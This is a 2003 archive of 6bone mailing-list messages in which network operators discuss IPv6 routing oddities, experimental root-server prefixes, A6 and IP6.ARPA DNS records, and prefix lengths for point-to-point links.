> iQA+AwUBP3f2HSmqKFIzPnwjEQKqcACfVudDSrYX0IpqciSXeDCsy5LykQwAliH/
> > 6Ebw4ECX4VHi7W7+E/UOVj4=
> > =R9lS
> > -----END PGP SIGNATURE-----
> >
> >
> >
> 

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Comment: Jeroen Massar / jeroen@unfix.org / http://unfix.org/~jeroen/

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From rrockell@sprint.net Tue Sep 30 08:38:29 2003
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Date: Tue, 30 Sep 2003 11:43:52 -0400 (EDT)
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Subject: [6bone] baltimore/DC maintenance in Sprint's IPV6 network
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Starting this afternoon. Total outage duration: Approx 1 hour.

No other nodes are affected, and this applies only to those tunnelled IPv6
customers who home to  sl-bb1v6-rly.sprintlink.net

thanks. sorry for spam.

Thanks
Rob Rockell
SprintLink
(+1) 703-689-6322
It's just a little pin prick...
-----------------------------------------------------------------------


From jeroen@unfix.org Fri Oct 10 17:18:54 2003
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From: "Jeroen Massar" <jeroen@unfix.org>
To: <6bone@ISI.EDU>, <nanog@merit.edu>
Date: Sat, 11 Oct 2003 02:16:06 +0200
Organization: Unfix
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Subject: [6bone] Reserved ASN 64702, 6to4, 2 ghosts, other oddities and still no working contacts...
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-----BEGIN PGP SIGNED MESSAGE-----

Checking http://www.sixxs.net/tools/grh/lg/?show=bogons&find=::/0

People might want to filter on private ASN's also
when that ASN is being used as "transit"...

2001:a40::/32 AS64702 is reserved (path: 15516 3257 2497 4697 2914 10109 4538 4787 64702 20646 8763 5539 1930 9186) Ghost Route (14/12) 
3ffe:3500::/24   3ffe:4005:fefe::     25396 1752 10109 4538 4787 64702 20646 8319  

We still have these 6to4 specifics btw:
2002:c2b1:d06e::/48      More specific 6to4 prefix (194.177.208.110/32) from AS5408 
2002:c8a2::/33           More specific 6to4 prefix (200.162.0.0/17) from AS15180 
2002:c8c6:4000::/34      More specific 6to4 prefix (200.198.64.0/18) from AS15180 
2002:c8ca:7000::/36      More specific 6to4 prefix (200.202.112.0/20) from AS15180 

And nopes, no contact has been made yet, apparently having
your email address listed in the registry frees you of any
obligations...

Another funny one:
3ffe:3::/32              Subnet of 3ffe::/24 Mismatching origin ASN,
                         should be 4555 (now: 29216) 
While there also is an announcement for:
2001:7fe::/32            I-rootserver-net-20030916

The ghosts of this month:
3ffe:1f00::/24
3ffe:2400::/24
Both with "10318 5623" common in their paths, obvious isn't it ?

Oh and yes, still no contact from anybody at nortel, apparently
that company doesn't know what IPv6 is. AS10318 (check above also)
is still announcing *their* block and still haven't made any comment
or reply back whatsoever. AS10318 have their own pTLA but apparently
are not contactable for that pTLA either. If anybody knows someone
alive for 3ffe:1300::/24 or AS762 or AS10318 please notify them.

Maybe posting to nanog raises some people from sleep. Mailing
the whois contacts directly doesn't help apparently.

Greets,
 Jeroen

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From bmanning@ISI.EDU Fri Oct 10 20:08:15 2003
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From: Bill Manning <bmanning@ISI.EDU>
Message-Id: <200310110308.h9B38CY13623@boreas.isi.edu>
Subject: Re: [6bone] Reserved ASN 64702, 6to4, 2 ghosts, other oddities and still no working contacts...
In-Reply-To: <032e01c38f8c$de1c5ce0$210d640a@unfix.org> from Jeroen Massar at "Oct 11, 3 02:16:06 am"
To: jeroen@unfix.org (Jeroen Massar)
Date: Fri, 10 Oct 2003 20:08:12 -0700 (PDT)
Cc: 6bone@ISI.EDU, nanog@merit.edu
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% Another funny one:
% 3ffe:3::/32              Subnet of 3ffe::/24 Mismatching origin ASN,
%                          should be 4555 (now: 29216) 

	welcome to more root server testing w/ IPv6.

--bill
Opinions expressed may not even be mine by the time you read them, and
certainly don't reflect those of any other entity (legal or otherwise).

From jeroen@unfix.org Sat Oct 11 03:51:34 2003
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Cc: <6bone@ISI.EDU>, <nanog@merit.edu>
Subject: RE: [6bone] Reserved ASN 64702, 6to4, 2 ghosts, other oddities and still no working contacts...
Date: Sat, 11 Oct 2003 12:50:06 +0200
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-----BEGIN PGP SIGNED MESSAGE-----

Bill Manning [mailto:bmanning@ISI.EDU] wrote:

> % Another funny one:
> % 3ffe:3::/32              Subnet of 3ffe::/24 Mismatching origin ASN,
> %                          should be 4555 (now: 29216) 
> 
> 	welcome to more root server testing w/ IPv6.

I don't mind that at all, I'd rather see them sticking AAAA's
into the glue :), but I do wonder why they are not using the
RIPE space they got assigned and which is being announced.

2001:7fe::/32 is for I-rootserver-net-20030916 got assigned on
2003-09-16 and was to be seen since 2003-09-17 02:51:14.
This "new" 6bone can be seen since yesterday, thus there is to
wonder for what purpose. There is no difference between 6bone
and RIR space, unless they want to make a sign that the
'6bone is not production'...

Also these are the current paths:

3ffe:3::/32   8447 1853 786 109 109 4555 29216  IGP 
3ffe:3::/32   1213 3549 6939 109 4555 29216  IGP 
3ffe:3::/32   12779 3549 6939 109 4555 29216  IGP 
3ffe:3::/32 > 6939 109 4555 29216  IGP 

2001:7fe::/32 has the same "issue":
2001:7fe::/32 8954 4555 29216
2001:7fe::/32 12779 6175 4555 29216
2001:7fe::/32 15516 3257 2497 6939 109 4555 29216  

As Cisco (109) and EP.Net are US based I wonder if
Stockholm suddenly moved to the US :)
That last one as from "Stockholm" -> US -> Japan -> Denmark...
If they really want to test then use some native european
connectivity, there is a *lot* of that over here.
And if they can't get native, please tunnel to a *local*
ISP and not to something in the US, see "Minimal IPv6 Peering":
http://ip6.de.easynet.net/ipv6-minimum-peering.txt

K has a RIPE delegation too, but that has not been seen (yet :)
But I heared good stories about work being done on that.

Greets,
 Jeroen

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Version: Unfix PGP for Outlook Alpha 13 Int.
Comment: Jeroen Massar / jeroen@unfix.org / http://unfix.org/~jeroen/

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=gyub
-----END PGP SIGNATURE-----


From daniel@kewlio.net Sat Oct 11 05:26:01 2003
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Reply-To: "Daniel Austin" <daniel@kewlio.net>
From: "Daniel Austin" <daniel@kewlio.net>
To: "Jeroen Massar" <jeroen@unfix.org>, "'Bill Manning'" <bmanning@ISI.EDU>
Cc: <6bone@ISI.EDU>, <nanog@merit.edu>
References: <00c301c38fe5$6f9d7a20$210d640a@unfix.org>
Subject: Re: [6bone] Reserved ASN 64702, 6to4, 2 ghosts, other oddities and still no working contacts...
Date: Sat, 11 Oct 2003 13:25:50 +0100
Organization: Kewlio.net Limited
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Hi,

> > welcome to more root server testing w/ IPv6.
>
> 2001:7fe::/32 has the same "issue":
> 2001:7fe::/32 8954 4555 29216
> 2001:7fe::/32 12779 6175 4555 29216
> 2001:7fe::/32 15516 3257 2497 6939 109 4555 29216
>
> As Cisco (109) and EP.Net are US based I wonder if
> Stockholm suddenly moved to the US :)
> That last one as from "Stockholm" -> US -> Japan -> Denmark...
> If they really want to test then use some native european
> connectivity, there is a *lot* of that over here.
> And if they can't get native, please tunnel to a *local*
> ISP and not to something in the US, see "Minimal IPv6 Peering":
> http://ip6.de.easynet.net/ipv6-minimum-peering.txt

If they're reading this, we're happy to setup a tunnel from our London NOC.  We've got some good native connectivity in london
(including native over to amsterdam) - ipv6@kewlio.net if they require it.
Hopefully they'll be able to find some native link closer to home though.


With Thanks,

Daniel Austin,
Managing Director,
Kewlio.net Limited.


From bmanning@ISI.EDU Sat Oct 11 07:31:06 2003
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From: Bill Manning <bmanning@ISI.EDU>
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Subject: Re: [6bone] Reserved ASN 64702, 6to4, 2 ghosts, other oddities and still no working contacts...
In-Reply-To: <00c301c38fe5$6f9d7a20$210d640a@unfix.org> from Jeroen Massar at "Oct 11, 3 12:50:06 pm"
To: jeroen@unfix.org (Jeroen Massar)
Date: Sat, 11 Oct 2003 07:30:56 -0700 (PDT)
Cc: bmanning@ISI.EDU, 6bone@ISI.EDU, nanog@merit.edu
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[Internal error while calling pgp, raw data follows]
% -----BEGIN PGP SIGNED MESSAGE-----
% 
% Bill Manning [mailto:bmanning@ISI.EDU] wrote:
% 
% > % Another funny one:
% > % 3ffe:3::/32              Subnet of 3ffe::/24 Mismatching origin ASN,
% > %                          should be 4555 (now: 29216) 
% > 
% > 	welcome to more root server testing w/ IPv6.
% 
% I don't mind that at all, I'd rather see them sticking AAAA's
% into the glue :), but I do wonder why they are not using the
% RIPE space they got assigned and which is being announced.

	they are, for the production service.
	this is for experimental activities.
	
% 
% 2001:7fe::/32 is for I-rootserver-net-20030916 got assigned on
% 2003-09-16 and was to be seen since 2003-09-17 02:51:14.
% This "new" 6bone can be seen since yesterday, thus there is to
% wonder for what purpose. There is no difference between 6bone
% and RIR space, unless they want to make a sign that the
% '6bone is not production'...

	bing!  the 3ffe:: entries are for experimental services -only-
	while the 2001:: will eventually be production services.
	and the test are -not- primarly about connectivity.

% 
% Also these are the current paths:
% 
% 3ffe:3::/32   8447 1853 786 109 109 4555 29216  IGP 
% 3ffe:3::/32   1213 3549 6939 109 4555 29216  IGP 
% 3ffe:3::/32   12779 3549 6939 109 4555 29216  IGP 
% 3ffe:3::/32 > 6939 109 4555 29216  IGP 
% 
% 2001:7fe::/32 has the same "issue":
% 2001:7fe::/32 8954 4555 29216
% 2001:7fe::/32 12779 6175 4555 29216
% 2001:7fe::/32 15516 3257 2497 6939 109 4555 29216  
% 
% As Cisco (109) and EP.Net are US based I wonder if
% Stockholm suddenly moved to the US :)
% That last one as from "Stockholm" -> US -> Japan -> Denmark...
% If they really want to test then use some native european
% connectivity, there is a *lot* of that over here.
% And if they can't get native, please tunnel to a *local*
% ISP and not to something in the US, see "Minimal IPv6 Peering":
% http://ip6.de.easynet.net/ipv6-minimum-peering.txt
% 
% K has a RIPE delegation too, but that has not been seen (yet :)
% But I heared good stories about work being done on that.
% 
% Greets,
%  Jeroen
% 
% -----BEGIN PGP SIGNATURE-----
% Version: Unfix PGP for Outlook Alpha 13 Int.
% Comment: Jeroen Massar / jeroen@unfix.org / http://unfix.org/~jeroen/
% 
% iQA/AwUBP4fgXimqKFIzPnwjEQJl1ACcD2aK8TGQU/YD04sZsFuMQoMSex8AoLcH
% 7aO9jplhb76T11d5hALTf6BD
% =gyub
% -----END PGP SIGNATURE-----
% 
[End of raw data]


-- 
--bill

Opinions expressed may not even be mine by the time you read them, and
certainly don't reflect those of any other entity (legal or otherwise).


From jeroen@unfix.org Mon Oct 13 14:36:53 2003
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'William Caban'" <william@hpcf.upr.edu>
Cc: <6bone@ISI.EDU>, "'NANOG'" <nanog@merit.edu>
Subject: RE: [6bone] Reserved ASN 64702, 6to4, 2 ghosts, other oddities andstill no working contacts...
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-----BEGIN PGP SIGNED MESSAGE-----

William Caban [mailto:william@hpcf.upr.edu] wrote:

> On Sat, 2003-10-11 at 10:30, Bill Manning wrote:
> > 	bing!  the 3ffe:: entries are for experimental services -only-
> > 	while the 2001:: will eventually be production services.
> > 	and the test are -not- primarly about connectivity.
> 
> Last time I checked on this 3ffe:: was not "tagged" as for "experimental
> services only". I have asked this to people working with IPv6 and
> haven't received any reply  confirming it, only replies 
> staying that it hasn't been decided.
> 
> Is it now? Please let me know.
> 
> (I will hate to do a deployment of 3ffe:: and 2001:: networks and then
> after some time tell the users sorry we are not routing 3ffe:: anymore
> since it was experimental only.  I prefer telling them from the very
> first time.)

6bone is "IPv6 Testing"*, so it can be production quality, but it can also break.
But I think that mostly depends on the people using the space and what
they are using the space for, some use it to run 'production'.

Also see the following, as 6bone *will* go away per 2006/6/6 :)
http://www.ietf.org/internet-drafts/draft-fink-6bone-phaseout-04.txt
So, yes, you will have to tell the users that you are not routing 3ffe::/16 anymore.

But nothing prohibits one to use RIR space as experimental btw
which is why I wondered why 2 prefixes are being used by the I root.

Greets,
 Jeroen

* = http://www.6bone.net/about_6bone.html
"The 6bone is an IPv6 Testbed that is an outgrowth of the IETF IPng project that created the IPv6 protocols intended to eventually replace the current Internet network layer protocols known as IPv4."
"The 6bone operates under the IPv6 Testing Address Allocation (see  RFC 2471)."

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From jeroen@unfix.org Mon Oct 13 14:53:33 2003
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To: <bmanning@karoshi.com>
Cc: <6bone@ISI.EDU>, "'NANOG'" <nanog@merit.edu>
Subject: RE: [6bone] Reserved ASN 64702, 6to4, 2 ghosts, other oddities and
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-----BEGIN PGP SIGNED MESSAGE-----

bmanning@karoshi.com [mailto:bmanning@karoshi.com] wrote:
<SNIP>
> 	Your choice.   Note carefully that the 6bone database is prone
> 	to corruption.  The nice folks @ online.org.ua  did this:

> inet6num:     3FFE::/24
> netname:      ONLINE
> descr:        IPv6 Network of online.org.ua
> country:      UA
> admin-c:      EAG-6BONE
> tech-c:       EAG-6BONE
> notify:       admin@online.org.ua
> mnt-by:       ONLINE-MNT
> changed:      admin@online.org.ua 20030628
> source:       6BONE

And that and many other such thing have still not been
cleansed unfortunatly. If wanted it can be done, it would
require modifications in the server software for sporting
mnt-by and mnt-lower for convienience though.
And next to that a lot of cleaning...

I still volunteer for helping out there btw.

Greets,
 Jeroen

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From robson.oliveira@ipv6dobrasil.com.br Tue Oct 21 11:42:56 2003
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From: "Robson Oliveira" <robson.oliveira@ipv6dobrasil.com.br>
To: <6bone@ISI.EDU>
Date: Tue, 21 Oct 2003 16:40:58 -0200
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Subject: [6bone] IPv6 DNS ready with A6 and IP6.ARPA
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Hi all,

Please, are there any DNS server running/using the IPv6 records A6 and
IP6.ARPA connected at 6BONE network?
I'd like to know if are there any tool to manager the DNS sections? Could we
prevent some mistakes with this scenery?

QCLASS=IN,

RFC2874 SECTION 5.1.1

$ORIGIN X.EXAMPLE
N     <IN>       A6  64    ::1234:5678:9ABC:DEF0    SUBNET-1.IP6...


Should be there in this example the IN class or not?

Cheers,
Robson Oliveira
***********************
Brazil Global IPv6 Summit 2004
1st Latin American IPv6 event

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Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.3502.5390" name=3DGENERATOR></HEAD>
<BODY>
<DIV><FONT face=3DVerdana size=3D2><SPAN class=3D945315317-21102003>Hi=20
all,</SPAN></FONT></DIV>
<DIV><FONT face=3DVerdana size=3D2><SPAN=20
class=3D945315317-21102003></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=3DVerdana size=3D2><SPAN =
class=3D945315317-21102003>Please, are there=20
any DNS server running/using the IPv6 records A6 and IP6.ARPA connected =
at 6BONE=20
network?</SPAN></FONT></DIV>
<DIV><FONT face=3DVerdana size=3D2><SPAN class=3D945315317-21102003>I'd =
like to know=20
if are there any tool to manager the DNS sections?&nbsp;Could we prevent =
some=20
mistakes with this scenery?</SPAN></FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DVerdana size=3D2><SPAN =
class=3D945315317-21102003>QCLASS=3DIN,=20
</SPAN></FONT></DIV>
<DIV><FONT face=3DVerdana size=3D2><SPAN=20
class=3D945315317-21102003></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=3DVerdana size=3D2><SPAN =
class=3D945315317-21102003>RFC2874 SECTION=20
5.1.1</SPAN></FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DVerdana size=3D2><SPAN =
class=3D945315317-21102003>$ORIGIN=20
X.EXAMPLE</SPAN></FONT><FONT face=3DVerdana size=3D2><SPAN=20
class=3D945315317-21102003></SPAN></FONT></DIV>
<DIV><FONT face=3DVerdana size=3D2><SPAN=20
class=3D945315317-21102003>N&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;IN&gt;=20
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; A6&nbsp; 64&nbsp;&nbsp;&nbsp;=20
::1234:5678:9ABC:DEF0&nbsp;&nbsp;&nbsp; =
SUBNET-1.IP6...</SPAN></FONT></DIV>
<DIV><FONT face=3DVerdana size=3D2><SPAN=20
class=3D945315317-21102003></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=3DVerdana size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DVerdana size=3D2>Should be there in this example the =
IN class or=20
not?</DIV></FONT>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DVerdana size=3D2><SPAN=20
class=3D945315317-21102003>Cheers,</SPAN></FONT></DIV>
<DIV><FONT face=3DVerdana size=3D2><SPAN =
class=3D945315317-21102003>Robson=20
Oliveira</SPAN></FONT></DIV>
<DIV><FONT face=3DVerdana size=3D2><SPAN=20
class=3D945315317-21102003>***********************</SPAN></FONT></DIV>
<DIV><FONT face=3DVerdana size=3D2><SPAN class=3D945315317-21102003>
<DIV><FONT face=3DVerdana size=3D2><SPAN =
class=3D945315317-21102003>Brazil Global IPv6=20
Summit 2004</SPAN></FONT></DIV></SPAN></FONT></DIV>
<DIV><FONT face=3DVerdana size=3D2><SPAN =
class=3D945315317-21102003>1st&nbsp;Latin=20
American IPv6 event</SPAN></FONT></DIV></BODY></HTML>

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From bmanning@ISI.EDU Tue Oct 21 11:56:42 2003
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From: Bill Manning <bmanning@ISI.EDU>
Message-Id: <200310211856.h9LIuXC24217@boreas.isi.edu>
Subject: Re: [6bone] IPv6 DNS ready with A6 and IP6.ARPA
In-Reply-To: <POEGJEDFEOJPJIHELIJFKEPMCJAA.robson.oliveira@ipv6dobrasil.com.br> from Robson Oliveira at "Oct 21, 3 04:40:58 pm"
To: robson.oliveira@ipv6dobrasil.com.br (Robson Oliveira)
Date: Tue, 21 Oct 2003 11:56:33 -0700 (PDT)
Cc: 6bone@ISI.EDU
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 the A6 record type has been moved from standards track to experimental,
 with the latest BIND versions removing support for this RR type.

 that said, the IP6.ARPA tree nearly replicates the ip6.int tree.

 for native IPv6 resolution, you may wish to consult/use the 
 servers found in the IPv6/DNSsec testbed,   www.rs.net




% Hi all,
% 
% Please, are there any DNS server running/using the IPv6 records A6 and
% IP6.ARPA connected at 6BONE network?
% I'd like to know if are there any tool to manager the DNS sections? Could we
% prevent some mistakes with this scenery?
% 
% QCLASS=IN,
% 
% RFC2874 SECTION 5.1.1
% 
% $ORIGIN X.EXAMPLE
% N     <IN>       A6  64    ::1234:5678:9ABC:DEF0    SUBNET-1.IP6...
% 
% 
% Should be there in this example the IN class or not?
% 
% Cheers,
% Robson Oliveira
% ***********************
% Brazil Global IPv6 Summit 2004
% 1st Latin American IPv6 event


-- 
--bill

Opinions expressed may not even be mine by the time you read them, and
certainly don't reflect those of any other entity (legal or otherwise).


From robson.oliveira@ipv6dobrasil.com.br Tue Oct 21 13:01:58 2003
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From: "Robson Oliveira" <robson.oliveira@ipv6dobrasil.com.br>
To: "Bill Manning" <bmanning@ISI.EDU>
Cc: <6bone@ISI.EDU>
Subject: RE: [6bone] IPv6 DNS ready with A6 and IP6.ARPA
Date: Tue, 21 Oct 2003 17:43:57 -0200
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Bill,

Thank you for your support.

Cheers,
Robson

-----Original Message-----
From: Bill Manning [mailto:bmanning@ISI.EDU]
Sent: Tuesday, October 21, 2003 4:57 PM
To: Robson Oliveira
Cc: 6bone@ISI.EDU
Subject: Re: [6bone] IPv6 DNS ready with A6 and IP6.ARPA


 the A6 record type has been moved from standards track to experimental,
 with the latest BIND versions removing support for this RR type.

 that said, the IP6.ARPA tree nearly replicates the ip6.int tree.

 for native IPv6 resolution, you may wish to consult/use the
 servers found in the IPv6/DNSsec testbed,   www.rs.net




% Hi all,
%
% Please, are there any DNS server running/using the IPv6 records A6 and
% IP6.ARPA connected at 6BONE network?
% I'd like to know if are there any tool to manager the DNS sections? Could
we
% prevent some mistakes with this scenery?
%
% QCLASS=IN,
%
% RFC2874 SECTION 5.1.1
%
% $ORIGIN X.EXAMPLE
% N     <IN>       A6  64    ::1234:5678:9ABC:DEF0    SUBNET-1.IP6...
%
%
% Should be there in this example the IN class or not?
%
% Cheers,
% Robson Oliveira
% ***********************
% Brazil Global IPv6 Summit 2004
% 1st Latin American IPv6 event


--
--bill

Opinions expressed may not even be mine by the time you read them, and
certainly don't reflect those of any other entity (legal or otherwise).



From ktso@saga.itsc.cuhk.edu.hk Thu Oct 23 02:50:41 2003
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From: ipv6@cuhk.edu.hk
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Subject: [6bone] Is minimum allocation /64 now?
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Dear all,

I am sorry that I am a little bit outdated.  I notice that min allocation
of address space is /48 instead of /64 in the past for IXes.  I have
also read some old messages that /64 is used because of automatic
configuration.  But then how about P2P?  Is there a practice to use a
/64 or /127 for P2P link?  Will it break something if I use prefix
longer than /64?  Thanks for your advice.

Regards,
So K T, CUHK

From ktso@saga.itsc.cuhk.edu.hk Thu Oct 23 03:21:36 2003
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I am sorry that I should describe my question more clearly.

Current min allocation for IX is /48, so it is assuming that each P2P
use one /64.
Previous min allocation for IX is /64, so it is assuming that each P2P
may use /127 or something longer than /64.

So, that mean the min allocation for a subnet is now /64.

Then, back to the question.

> I have
> also read some old messages that /64 is used because of automatic
> configuration.  But then how about P2P?  Is there a practice to use a
> /64 or /127 for P2P link?  Will it break something if I use prefix
> longer than /64?  Thanks for your advice.

Regards,
So K T, CUHK

On Thu, Oct 23, 2003 at 05:50:32PM +0800, ipv6@cuhk.edu.hk wrote:
> Dear all,
> 
> I am sorry that I am a little bit outdated.  I notice that min allocation
> of address space is /48 instead of /64 in the past for IXes.  I have
> also read some old messages that /64 is used because of automatic
> configuration.  But then how about P2P?  Is there a practice to use a
> /64 or /127 for P2P link?  Will it break something if I use prefix
> longer than /64?  Thanks for your advice.
> 
> Regards,
> So K T, CUHK
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone

From jeroen@unfix.org Thu Oct 23 04:37:06 2003
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From: "Jeroen Massar" <jeroen@unfix.org>
To: <ktso@cuhk.edu.hk>, <6bone@ISI.EDU>
Subject: RE: [6bone] Is minimum allocation /64 now?
Date: Thu, 23 Oct 2003 13:36:55 +0200
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-----BEGIN PGP SIGNED MESSAGE-----

ipv6@cuhk.edu.hk wrote:

> I am sorry that I am a little bit outdated.  I notice that 
> min allocation
> of address space is /48 instead of /64 in the past for IXes.  I have
> also read some old messages that /64 is used because of automatic
> configuration.

A /48 is per site, if this site is an IX or an end-user or a big
university. /48's are the minimum for every place where there
is a possibility that there is more than one subnet, now or
in the future. Note that bigger entities can ofcourse request
more than a /48, I'd suggest to pass out a /40 in those cases.

If you are absolutely sure that there will only be one subnet
on a certain place you could ofcourse allocate a /64.
But why bother? There is enough space and it would only cost
you more verifications. What if there suddenly is a second,
then they have to renumber, now they won't ever unless they
swap ISP's where to also will get a /48.

>  But then how about P2P?  Is there a practice to use a
> /64 or /127 for P2P link?  Will it break something if I use prefix
> longer than /64?  Thanks for your advice.

Use a /64 for a P2P link it is, as it implies in the name a link.
You could for example use 1 /48 and allocate 65535 P2P links from
that single /48. Keeping it a nice and clean design.
And that is only 1 /48 from the /32 you receive by default, if
you need more then request more.

/127's are bad and go wrong with the anycast address.
We noticed that quite well when Linux 2.4.21 came out
and people started complaining that their endpoints
didn't ping ;)

Greets,
 Jeroen

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From pekkas@netcore.fi Thu Oct 23 05:21:17 2003
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From: Pekka Savola <pekkas@netcore.fi>
To: ktso@cuhk.edu.hk
cc: 6bone@ISI.EDU
Subject: Re: [6bone] Is minimum allocation /64 now?
In-Reply-To: <20031023175032.A18200@saga.itsc.cuhk.edu.hk>
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On Thu, 23 Oct 2003 ipv6@cuhk.edu.hk wrote:
> I am sorry that I am a little bit outdated.  I notice that min allocation
> of address space is /48 instead of /64 in the past for IXes.  I have
> also read some old messages that /64 is used because of automatic
> configuration.  But then how about P2P?  Is there a practice to use a
> /64 or /127 for P2P link?  Will it break something if I use prefix
> longer than /64?  Thanks for your advice.

As for P2P links (between routers, I take you mean)..

Don't use /127, but anything between that and /64 is operationally fine.  
Architecturally one should use /64.  We use /112's ourselves.

Read RFC 3627 for more.

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings


From jonathan@ntg.com Thu Oct 23 06:16:45 2003
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------_=_NextPart_001_01C39967.E7B59A8D--

From dan@reeder.name Thu Oct 23 17:00:32 2003
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From: "Dan Reeder" <dan@reeder.name>
To: "Pekka Savola" <pekkas@netcore.fi>, <ktso@cuhk.edu.hk>
Cc: <6bone@ISI.EDU>
References: <Pine.LNX.4.44.0310231519190.3347-100000@netcore.fi>
Subject: Re: [6bone] Is minimum allocation /64 now?
Date: Fri, 24 Oct 2003 10:00:26 +1000
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Having read that rfc, howcome you suggest /112 or /64 rather than a /126 to
get around the anycast problem? The section 4.3 clearly states that the /126
will work fine - what is the point of suggesting a shorter prefix? To me
thats just wasteful addressing.

Also, could you please clarify when a linux system would be deemed to be a
router rather than a host? Or perhaps I misinterpreted the rfc and it only
applies to routers such as ciscos?
We use /127s for the "point to point" tunnels and as far as I'm aware i've
not seen any problems (other than redhat 9 always applying PREFIX::0/128 in
the routing table to its loopback for some reason)

cheers
Dan Reeder
tb.ipv6.net.au

----- Original Message ----- 
From: "Pekka Savola" <pekkas@netcore.fi>
To: <ktso@cuhk.edu.hk>
Cc: <6bone@ISI.EDU>
Sent: Thursday, October 23, 2003 10:20 PM
Subject: Re: [6bone] Is minimum allocation /64 now?


> On Thu, 23 Oct 2003 ipv6@cuhk.edu.hk wrote:
> > I am sorry that I am a little bit outdated.  I notice that min
allocation
> > of address space is /48 instead of /64 in the past for IXes.  I have
> > also read some old messages that /64 is used because of automatic
> > configuration.  But then how about P2P?  Is there a practice to use a
> > /64 or /127 for P2P link?  Will it break something if I use prefix
> > longer than /64?  Thanks for your advice.
>
> As for P2P links (between routers, I take you mean)..
>
> Don't use /127, but anything between that and /64 is operationally fine.
> Architecturally one should use /64.  We use /112's ourselves.
>
> Read RFC 3627 for more.
>
> -- 
> Pekka Savola                 "You each name yourselves king, yet the
> Netcore Oy                    kingdom bleeds."
> Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>



From pekkas@netcore.fi Thu Oct 23 23:13:08 2003
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Date: Fri, 24 Oct 2003 09:12:48 +0300 (EEST)
From: Pekka Savola <pekkas@netcore.fi>
To: Dan Reeder <dan@reeder.name>
cc: ktso@cuhk.edu.hk, <6bone@ISI.EDU>
Subject: Re: [6bone] Is minimum allocation /64 now?
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On Fri, 24 Oct 2003, Dan Reeder wrote:
> Having read that rfc, howcome you suggest /112 or /64 rather than a /126 to
> get around the anycast problem? The section 4.3 clearly states that the /126
> will work fine - what is the point of suggesting a shorter prefix? To me
> thats just wasteful addressing.

Uhh, please stop to think about it.  Even if we use /112's, we can have
2^48 of them, assigned from a single /64.  No ISP should need ever more
point-to-point addresses than that :-).

Remember that "wasteful addressing" has entirely different meanings in
IPv6 than IPv4.  Once you have an IPv6 /64, you can put as many nodes in
that as you want, compared to e.g. an IPv4 /24.

/112 is a great simplification over /126 from the user's perfective.  This 
is because with /126 you should use something like:

3ffe:ffff:ffff::f00:{1,2}/126
3ffe:ffff:ffff::f00:{4,5}/126
3ffe:ffff:ffff::f00:{7,8}/126
3ffe:ffff:ffff::f00:{a,b}/126
3ffe:ffff:ffff::f00:{d,e}/126
3ffe:ffff:ffff::f01:{1,2}/126
....

We just dedided that we want to end the address with either "1" or "2"  
(we also have a methodology to determine which end of the link is given
which number), /112 gives the last 16 bits to a subnet, so this is
possible, like:

3ffe:ffff:ffff::f00:{1,2}/112
3ffe:ffff:ffff::f01:{1,2}/112
...

If this model was used towards the customers, /112 would add more 
flexibilty for future changes (e.g., the customer adds a firewall, /126 
can given an additional address which is mostly fine).

Seems simpler to me, and there's plenty of address to play with.  We
assign all point-to-point addresses from a single /64.

> Also, could you please clarify when a linux system would be deemed to be a
> router rather than a host? Or perhaps I misinterpreted the rfc and it only
> applies to routers such as ciscos?

It applies to all the nodes which act as a router.  This happens with
Linux, for example, if you have toggled on net.ipv6.conf.all.forwarding
sysctl (or done something that accomplishes that, like set up
IPV6FORWARDING=yes).

> We use /127s for the "point to point" tunnels and as far as I'm aware i've
> not seen any problems (other than redhat 9 always applying PREFIX::0/128 in
> the routing table to its loopback for some reason)

That's exactly the reason why /127 are not to be used between the routers!  
Between a router and a host, it _should_ be OK as long as the router is 
given the PREFIX::0/127 address.  But who can say when the other end will 
not be connecting a router or not?  Hence, /127 should not be used.

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings



From gert@Space.Net Fri Oct 24 02:51:37 2003
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From: Gert Doering <gert@space.net>
To: Pekka Savola <pekkas@netcore.fi>
Cc: Dan Reeder <dan@reeder.name>, ktso@cuhk.edu.hk, 6bone@ISI.EDU
Subject: Re: [6bone] Is minimum allocation /64 now?
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Hi,

On Fri, Oct 24, 2003 at 09:12:48AM +0300, Pekka Savola wrote:
> We just dedided that we want to end the address with either "1" or "2"  
> (we also have a methodology to determine which end of the link is given
> which number), /112 gives the last 16 bits to a subnet, so this is
> possible, like:
> 
> 3ffe:ffff:ffff::f00:{1,2}/112
> 3ffe:ffff:ffff::f01:{1,2}/112
> ...

This is why I use /124s - so all my transit networks end in 
  "...:xxx1/124"
  "...:xxx2/124"

- just convenience, and no fundamental difference to the /112.


Nevertheless I want to point out that there seems to be concepts in the
works (IPSEC with encryption based on the lower /64 bits of the IPv6
address) that might result in the need to renumber ptp links done with
/126s, /124s, /112s or whatever.

There was a big and heated discussion on the 6bone list a year ago or so,
so for those interested in this matter, read it up in the archive!

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  57785 (56883)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


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From: Jesper Skriver <jesper@skriver.dk>
To: Pekka Savola <pekkas@netcore.fi>
